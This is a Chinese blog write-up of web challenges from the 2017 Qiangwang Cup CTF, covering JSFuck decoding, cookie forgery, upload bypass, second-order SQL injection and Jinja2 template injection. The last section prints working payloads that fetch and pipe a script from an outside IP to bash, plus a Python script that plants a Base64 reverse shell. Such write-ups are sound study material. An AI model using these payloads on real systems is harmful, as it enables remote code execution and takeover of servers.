Pr0ph3t

char nick[7] = "Pr0ph3t";

printf("https://github.com/%s\n",nick);

printf("%s\x40pr0ph3t\x2e\\\bcom\n","admin");

puts("91B6 191A C2C3 285C 201D  801B B5A3 6B56 8528 E140");

[2017强网杯] Web Writeup

Sep 11, 2017 • CyberSecurity,writeup,old

Web50 :

  • 题目名称:Broken
  • 题目url:动态url

首先一进去之后发现有file链接,点进去之后是一串JSFuck
index
然后丢去在线网站解密发现报错,应该是格式出错了
解密报错
这里我选择从解密网站的源码中抽出那段还没有eval的部分,单独执行一次,得出一段结果之后再拿去解密还是不行,这时丢进去Sublime格式化一下之后发现最下面缺少了一个 ],补上之后直接eval,发现有一个数组
数组

点开之后找到flag
螢幕快照 2017-09-10 22.40.51.png


Web100:

  • 题目名称:Who are you?
  • 题目链接:动态url

进去之后有一句话 Sorry. You have no permissions. 看Cookie后发现set了一个可疑cookie名字叫role,base64解密后是这个东西 f:5:"thrfg"; 估计中间的字符串要变成相应的admin,脑洞大发直接将中间的rot13后就变成了guest,直接改成admin后再rot13再base64,然后修改cookie role成为这个之后进去另外一个页面,页面提示Hello admin, now you can upload something you are easy to forget. 然后查看源码发现注释<!-- $filename = $_POST['filename']; $data = $_POST['data']; -->Hello admin, now you can upload something you are easy to forget.</body>

随便post一个filename为fuck.php,data是123的文件上去
upload

发现后缀名是可以控制的,一开始的想法是在data里面写shell,但是发现过滤了左尖括号,很多姿势都没办法用,然后猜测后台使用了file_put_content这个函数,查看官方文档发现这个函数是可以接受数组的,尝试上传一个数组上去后绕过检测,打开上传之后的文件发现flag
poc


Web200

  • 题目名称:Phone Number
  • 题目链接:动态url

进去之后发现是一个注册登录的界面,自然是首先想到的是注入,正常注册一个账号登录之后有这样的一个界面
登录后

并且在点击check后注释中有这样一句话<!-- 听说admin的电话藏着大秘密哦~--&rt;
首先想到的是利用admin表长度限制的漏洞进行越权注册,发现没啥用。
然后想到的是二次注入,发现在用户名的地方是被addslash了无法注入,其次尝试phone,发现在注册的时候phone的长度作了限制,并且只能提交数字,这里使用了三个小技巧
1、phone的长度是前端做限制的,所以可以截包修改
2、sql是可以接收一段经过hex转换后的sql语句并执行的
3、在php中intval是把hex当作数字的

这里很明确就是直接在注册的时候把注入语句转换成hex然后截包提交后登录点击check实现二次注入
exp:0x3120756e696f6e2073656c6563742070686f6e652066726f6d207573657223
直接上poc:

poc


Web400:
- 题目名称:Musee de X
- 题目链接:动态url

这是一个Django搭建的网站,Debug没有关,所以出错的时候能看到很多重要信息,包括关键代码和settings信息
进去之后是一个捐赠的网站,捐赠的是一个url链接,要图片,正常操作应该是将用户名做成水印写上去。尝试着输入一个非图片的链接,报错,看到关键代码是将图片重新绘制的,所以打消了上传马的念头。。。然后看到关键代码中有使用jinja2的模板
99行处
之前有一个cve是爆出jinja2有格式化字符串的漏洞,这个漏洞平时ctf比赛接触得比较少。。所以还是不太熟悉,找了好久。。。最后发现username是利用点,格式化字符串之后的结果会绘制在图片中。
注册一个名字为{{10+50}}的用户,正常进贡一张图片,发现

用户名被计算

直接百度到exp(http://www.freebuf.com/articles/system/97146.html))
然后发现太长的exp是不能注册的。。。带/的也不行,这里有几个骚操作:

方法一:
最简单的方法是在自己的vps上开启http服务,将反弹shell的指令写入默认主页,也就是index.html或者是index.php

index.php

然后注册exp为

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == 'catch_warnings' %}{{c.__init__.func_globals['linecache'].__dict__['os'].system('curl 139.199.206.219|bash') }}{% endif %}{% endfor %}

正常进贡图片,就能反弹到shell了

反弹shell

poc

方法二:
比较骚但是有点麻烦
这里因为长度的限制和/过滤的问题不能直接执行反弹shell的语句
这里我们直接将反弹shell语句base64一下之后一个个字写到一个文件
也就是 echo -n 'A' >> 1
这里注意要加-n 因为echo默认是在最后面加入一个换行符
最后执行 cat 1 | base64 -d |bash就行了
附上脚本:

import requests
import re

#csrfmiddlewaretoken
payload = 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMzkuMTk5LjIwNi4yMTkvODA4OCAwPiYxCg=='
reg_url = 'http://db09b4708fa042e0a372daf2f1da7ba0aca963ed40124ae0.game.ichunqiu.com/register.php'
login_url = 'http://db09b4708fa042e0a372daf2f1da7ba0aca963ed40124ae0.game.ichunqiu.com/login.php'
rce_url = 'http://db09b4708fa042e0a372daf2f1da7ba0aca963ed40124ae0.game.ichunqiu.com/donate.php'

se = requests.Session()

def getToken(content):
    token = re.findall('name="csrfmiddlewaretoken" value="(.*?)"', content ,re.S | re.M)
    if token != []:
        return token[0]
    else:
        exit('token not found')

def doReg(username):
    res = se.get(reg_url)
    token = getToken(res.content)
    res = se.post(reg_url, data={'username':username,'password':'123','csrfmiddlewaretoken':token})
    doLogin(username)

def doLogin(username):
    res = se.get(login_url)
    token = getToken(res.content)
    res = se.post(login_url, data={'username':username, 'password':'123', 'csrfmiddlewaretoken':token})
    if 'Head on over' in res.content:
        rce(username)
    else:
        exit('login fail')

def rce(username):
    res = se.get(rce_url)
    token = getToken(res.content)
    res = se.post(rce_url, data={'url':'http://139.199.206.219/1.png', 'text':username, 'csrfmiddlewaretoken':token, 'submit':'Go!'})
    if '/view/1' in res.content:
        return True
    else:
        print res.content
        exit('upload fail')

for x in payload:
    username = "{%% for c in [].__class__.__base__.__subclasses__() %%} {%% if c.__name__ == 'catch_warnings' %%} {{c.__init__.func_globals['linecache'].__dict__['os'].system('echo -n %s >> 1') }} {%% endif %%} {%% endfor %%}" % x
    print username
    # print username
    # exit()
    try:
        doReg(username)
    except Exception as e:
        print e
        continue
print '[*] Success!'
print '[*] Using WebShell.......'
username = "{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {{c.__init__.func_globals['linecache'].__dict__['os'].system('cat 1 | base64 -d|bash') }} {% endif %} {% endfor %}"
print username
doReg(username)
# doLogin(username)
print '[*] Enjoy Your WebShell......'

Did you like the post? Subscribe to the feed.

Thx!